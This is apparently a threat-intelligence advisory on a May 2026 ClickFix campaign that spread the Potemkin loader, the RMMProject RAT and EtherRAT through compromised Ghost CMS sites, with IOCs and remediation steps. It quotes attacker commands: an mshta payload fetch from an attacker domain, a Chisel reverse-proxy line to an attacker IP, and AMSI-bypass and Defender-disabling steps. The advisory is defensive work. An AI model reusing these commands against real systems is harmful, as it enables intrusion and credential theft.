ClickFix Campaign Deploying Potemkin Loader, RMMProject RAT, and EtherRAT - May 2026 Enterprise Compromise
ClickFix Campaign Deploying Potemkin Loader, RMMProject RAT (TL-2026-0972), also tracked as Operation ClickFix May 2026, is a critical-severity malware campaign, first published 2026-06-28. It has no confirmed attribution, affects Microsoft Windows (Multiple Versions), references 1 CVE (CVE-2026-26980), maps to 37 MITRE ATT&CK techniques (T1008, T1018, T1021), and is covered by 9 detection rules and 35 indicators of compromise.
Key facts for TL-2026-0972
- Threat ID
- TL-2026-0972
- Also known as
- Operation ClickFix May 2026, Ghost CMS ClickFix Campaign
- Severity
- CRITICAL
- Status
- ACTIVE
- Category
- MALWARE
- First published
- 2026-06-28
- Last reviewed
- 2026-06-28
- Attribution confidence
- NONE
- Motivation
- FINANCIAL
- Target sectors
- education, technology, finance, health, government administration, business-services
- Target regions
- North America, Europe, Asia-Pacific, Global
- Detection rules
- 9
- Indicators of compromise
- 35
Malware and tooling in ClickFix Campaign Deploying Potemkin Loader, RMMProject RAT
Malware and tooling: EtherRAT, Potemkin, RMMProject, Chisel, SMBExec, Wmiexec, cloudflared
A sophisticated multi-stage ClickFix social engineering campaign exploited 700+ compromised websites (May 2026) to deliver Potemkin loader, which stages RMMProject RAT (with Chrome App-Bound Encryption bypass and hidden-desktop banking fraud capability), and EtherRAT blockchain-anchored backdoor. Confirmed hands-on-keyboard intrusion across 11 hosts with lateral movement via WMIExec/SMBExec, Windows Defender disablement, Chisel SOCKS tunnels, and Cloudflare tunnel persistence.
How ClickFix Campaign Deploying Potemkin Loader, RMMProject RAT works
In May 2026, a coordinated ClickFix campaign compromised 700+ Ghost-powered websites through CVE-2026-26980 SQL injection, injecting malicious JavaScript that delivers a sophisticated attack chain via social engineering. Victims are tricked into copying base64-encoded PowerShell commands into the Windows Run dialog (Win+R), which abuses pcalua.exe as a Living-Off-the-Land Binary to proxy mshta.exe execution. This fetches a remote HTA payload from cl.distritovagas.com, which silently downloads an MSI installer (inst24.msi) and executes it via msiexec /qn. The MSI drops Potemkin loader to C:\Users\<username>\AppData\Local\Microsoft\RunSearch\RunSearch.exe with registry persistence via HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunSearch. Potemkin implements a deterministic Domain Generation Algorithm (DGA) seeded with 151678 to probe 10,000 .xyz domains for redundant C2 discovery, polling every ~5 minutes to a /api/client_hello endpoint. Upon callback, Potemkin reflectively loads RMMProject RAT, a 4.4 MB x64 DLL embedding LuaJIT scripting engine with 15 distinct task types. RMMProject features browser credential and cookie theft across Chrome, Firefox, and Edge via a sophisticated Chrome App-Bound Encryption bypass by injecting a helper DLL into a spawned browser process, then interacting with COM interfaces to decrypt protected keys. The malware includes a hidden-desktop remote control module (RTSC) that creates an invisible Windows desktop running an authenticated browser session—a technique commonly leveraged for banking fraud and unauthorized financial transactions. RMMProject also embeds its own copy of Potemkin's DGA for redundant C2 resolution. In parallel, EtherRAT (Node.js backdoor) is deployed via WMIExec/SMBExec spray to 11+ hosts, resolving its C2 from an Ethereum smart contract (0xb3f2897f2bc797e5b9033faef8c81e92b01cb831) instead of hardcoded domains, achieving unprecedented resilience against domain takedowns. The operator establishes persistence through per-user Run keys (HKCU\Software\Microsoft\Windows\CurrentVersion\Run) executing conhost --headless with node.exe and encrypted configuration files. Lateral movement leverages Impacket WMIExec and SMBExec tools to propagate across the network, with reconnaissance via 'whoami /groups | findstr /i admin' command injection. The attacker disables Windows Defender via PowerShell policy modifications (DisableAntiSpyware, DisableRealtimeMonitoring, DisableIOAVProtection, DisableBehaviorMonitoring), patches AMSI by overwriting the amsiInitFailed flag in System.Management.Automation.AmsiUtils via .NET reflection, adds exclusions to C:\ProgramData\p, and attempts reflective loading of Chisel binary. Chisel reverse SOCKS proxy (chisel client --auth <credentials> 77.110.122.58:24954 R:socks) enables pivoting through internal networks to domain controllers. A Cloudflare tunnel is deployed and masqueraded as svchost.exe, providing encrypted exfiltration and command-and-control resilience. The initial endpoint lacked endpoint detection and response (EDR) coverage, providing hours of unobserved attacker access for establishing persistence, lateral movement setup, and network reconnaissance before detection occurred.
MITRE ATT&CK techniques used in TL-2026-0972
Command and Control
T1008 Fallback Channels; T1071 Application Layer Protocol; T1090 Proxy; T1568 Dynamic Resolution; T1571 Non-Standard Port; T1572 Protocol Tunneling
Discovery
T1018 Remote System Discovery; T1033 System Owner/User Discovery; T1046 Network Service Discovery; T1057 Process Discovery; T1082 System Information Discovery; T1518 Software Discovery
Lateral Movement
T1021 Remote Services; T1570 Lateral Tool Transfer
Defense Evasion
T1027 Obfuscated Files or Information; T1036 Masquerading; T1140 Deobfuscate/Decode Files or Information; T1564 Hide Artifacts
Exfiltration
T1041 Exfiltration Over C2 Channel
Persistence
T1053 Scheduled Task/Job; T1543 Create or Modify System Process; T1547 Boot or Logon Autostart Execution
Privilege Escalation
Credential Access
T1056 Input Capture; T1555 Credentials from Password Stores
Execution
T1059 Command and Scripting Interpreter; T1204 User Execution
defense-impairment
T1112 Modify Registry; T1685 Disable or Modify Tools
Collection
T1113 Screen Capture; T1119 Automated Collection
command-and-control
Initial Access
T1189 Drive-by Compromise; T1195 Supply Chain Compromise; T1566 Phishing
lateral-movement
T1210 Exploitation of Remote Services
Impact
Affected products and versions in ClickFix Campaign Deploying Potemkin Loader, RMMProject RAT
- Microsoft — Windows (Multiple Versions)
Vulnerable versions: Windows 10; Windows 11; Windows Server 2019; Windows Server 2022 - Google — Chrome
Vulnerable versions: All versions - Mozilla — Firefox
Vulnerable versions: All versions - Microsoft — Edge
Vulnerable versions: All versions - Ghost Foundation — Ghost CMS
Vulnerable versions: Versions prior to security patch for CVE-2026-26980
Fixed in: Latest versions with CVE-2026-26980 patch applied
Remediation for ClickFix Campaign Deploying Potemkin Loader, RMMProject RAT
Patches
- Patch CVE-2026-26980 (Ghost CMS SQL injection) on all affected versions
- Update all content management systems and web application firewalls to versions with SQL injection protections enabled
Immediate actions
- Block all C2 IOCs at perimeter: 77.110.122.58, 213.165.41.26, anus-staylard.xyz, resumeacceptable.com, sonra.eutialyson.com, cl.distritovagas.com, o-parana.com, rpc.payload.de, jariosos.com, hayesmed.com
- Revoke Chrome App-Bound Encryption keys and force password resets for accounts accessed via hidden RTSC sessions
- Scan all Windows systems for Potemkin (SHA256: 2abe5dd3a057fdef935722e50e9251c272d29fd26113187b853a1f9a9cb89d9b), RMMProject (SHA256: 3b7ae925e2d64522b4f69b56285b05aeca8c5aab5ab46a9c02c4fafb69d881ce), and EtherRAT signatures
- Search for persistence indicators: registry paths HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RunSearch, WindowsHost, EdgeUpdate; files in %LOCALAPPDATA%\hyper-v.ver, %LOCALAPPDATA%\<MD5hash>/config.json, %TEMP%\dll_debug.log
- Kill and remove all instances of cloudflared.exe (especially those masquerading as svchost.exe) and Chisel proxies on internal networks
- Restore Windows Defender real-time scanning and verify no DisableAntiSpyware, DisableRealtimeMonitoring, DisableIOAVProtection, DisableBehaviorMonitoring registry values
- Force re-authentication for all users with domain admin privileges and conduct forensic analysis of all accessed systems
Workarounds
- Disable or restrict msiexec, mshta, and pcalua.exe execution via application whitelisting or group policy
- Block Win+R (Windows Run dialog) via group policy or third-party endpoint protection
- Disable PowerShell execution or enforce Constrained Language Mode for all users except administrators
Longer-term hardening
- Deploy EDR agents with behavioral detection for process injection, DLL loading, AMSI patching, and registry modification
- Implement application whitelisting to block unsigned execution via pcalua.exe, mshta.exe, and other LOLBins
- Enable logging of all WMI, SMB, and scheduled task creation across the network; alert on non-standard port usage (23205, 24954, 43301, 44479, 18696)
- Enforce code signing on all scripts and disable unsigned PowerShell execution; enable Constrained Language Mode
- Monitor for Ethereum RPC queries to public endpoints and smart contract reads (evm_call, eth_call patterns)
- Implement network segmentation to prevent lateral movement via WMIExec/SMBExec; restrict credential delegation
- Conduct tabletop and full incident response exercises for supply-chain compromises (website injection attacks)
- Establish C2 beaconing detection rules for DGA traffic, unusual SOCKS proxy patterns, and Cloudflare tunnel abuse
CVEs associated with ClickFix Campaign Deploying Potemkin Loader, RMMProject RAT
Weaknesses (CWE) in ClickFix Campaign Deploying Potemkin Loader, RMMProject RAT
CWE-89, CWE-502, CWE-426
Timeline of ClickFix Campaign Deploying Potemkin Loader, RMMProject RAT
- CVE-2026-26980 SQL injection vulnerability in Ghost CMS exploited; 700+ websites compromised with malicious JavaScript injection
- ClickFix malicious JavaScript begins serving fake CAPTCHA/Cloudflare dialogs to website visitors, instructing users to copy-paste base64-encoded PowerShell commands into Windows Run dialog
- Chisel reverse SOCKS proxy (chisel client --auth <credentials> 77.110.122.58:24954 R:socks) deployed for network pivoting; Cloudflare tunnel masqueraded as svchost.exe for persistent C2 access
- Attacker uses WMIExec reconnaissance: 'cmd.exe /Q /c whoami /groups | findstr /i admin'; SMBExec lateral spray distributes EGGjVyW9Uloz.msi across 11+ hosts on the network
- EtherRAT Node.js backdoor deployed across network via WMIExec spray; persistence established via HKCU\Software\Microsoft\Windows\CurrentVersion\Run registry keys (WindowsHost, EdgeUpdate) executing conhost --headless node.exe
- AMSI bypassed via .NET reflection: amsiInitFailed static field of System.Management.Automation.AmsiUtils class set to true, enabling undetected script execution
- Attacker executes PowerShell commands to disable Windows Defender: DisableAntiSpyware, DisableRealtimeMonitoring, DisableIOAVProtection, DisableBehaviorMonitoring registry keys modified
- Initial endpoint lacked endpoint detection and response (EDR) coverage; attacker maintains unobserved access for hours, establishing persistence and conducting reconnaissance
- Potemkin DGA generates 10,000 .xyz candidate domains using seed 151678; C2 callbacks established, RMMProject RAT (SHA256: 3b7ae925e2d64522b4f69b56285b05aeca8c5aab5ab46a9c02c4fafb69d881ce) reflectively loaded into memory
- Potemkin loader (SHA256: 2abe5dd3a057fdef935722e50e9251c272d29fd26113187b853a1f9a9cb89d9b) dropped to C:\Users\<username>\AppData\Local\Microsoft\RunSearch\RunSearch.exe with registry persistence established
- First documented victim endpoint executes ClickFix command: cmd /min /c 'pcalua.exe -a mshta.exe -c hxxps://cl.distritovagas.com/hte.hta'; HTA payload fetches inst24.msi from sonra.eutialyson.com and executes via msiexec /qn
- Attacker reaches domain controller via SMBExec; EtherRAT sprayed across 11+ hosts; hands-on-keyboard activity includes active directory discovery, privilege escalation path mapping, and credential theft
- Huntress publishes detailed technical analysis of ClickFix/Potemkin/RMMProject/EtherRAT attack chain; incident response report released with IOCs and forensic artifacts
Sources cited for ClickFix Campaign Deploying Potemkin Loader, RMMProject RAT
- Potemkin Loader & RMMProject The Anatomy of a ClickFix Attack | Huntress
- ClickFix Attack Deploys Potemkin Loader, RMMProject RAT, and EtherRAT Across 11 Hosts
- Hackers Use Potemkin Loader to Deliver RMMProject RAT in ClickFix Intrusion
- ClickFix Campaigns Expand Malware Delivery With New Loaders and Fake Update Lures
- Think before you Click(Fix): Analyzing the ClickFix social engineering technique | Microsoft Security Blog
- ClickFix: The Social Engineering Technique Hackers Use to Manipulate Victims | Group-IB Blog
- 700+ education and tech websites hijacked in huge ClickFix malware campaign | Malwarebytes
- EtherRAT Distribution Spoofing Administrative Tools via GitHub Facades
- EtherRAT & SYS_INFO Module: C2 on Ethereum (EtherHiding), Target Selection, CDN-Like Beacons | eSentire
- Dead Drops on the Blockchain: A Cross-Family Taxonomy of On-Chain C2, with First-Hand Reversal and an Empirical Study of Operator Tempo | Medium
- Hackers Actively Exploiting Cloudflare Tunnels for Stealthy Attacks
- ClickFix Campaigns Targeting Windows and macOS
Threats related to ClickFix Campaign Deploying Potemkin Loader, RMMProject RAT
- DriveSurge: Initial Access Broker Hijacks Thousands of Trusted Websites for ClickFix and FakeUpdate Malware Delivery via zTDS
- Fake IT Support Calls on Microsoft Teams Push EtherRAT — Node.js RAT Using EtherHiding (Ethereum Smart Contract C2), Linked to React2Shell (CVE-2025-55182) Exploitation Chain
- HTA-Based Cobalt Strike Downloader Script Analysis (CyberChef Deobfuscation)
- Ghost CMS Content API SQL Injection CVE-2026-26980 — Large-Scale ClickFix Watering-Hole Campaign Compromising 700+ Domains (XLab)
- EtherRAT — Node.js Backdoor with Ethereum Blockchain C2 (EtherHiding) Linked to DPRK Contagious Interview
- Horabot 'Sapecar' Banking Trojan Campaign Targeting Mexico with Multi-Stage Loader and Email Spreader
Detection coverage for TL-2026-0972
As of 2026-06-28, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0972 across Splunk SPL, Microsoft KQL and Sigma, covering 35 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.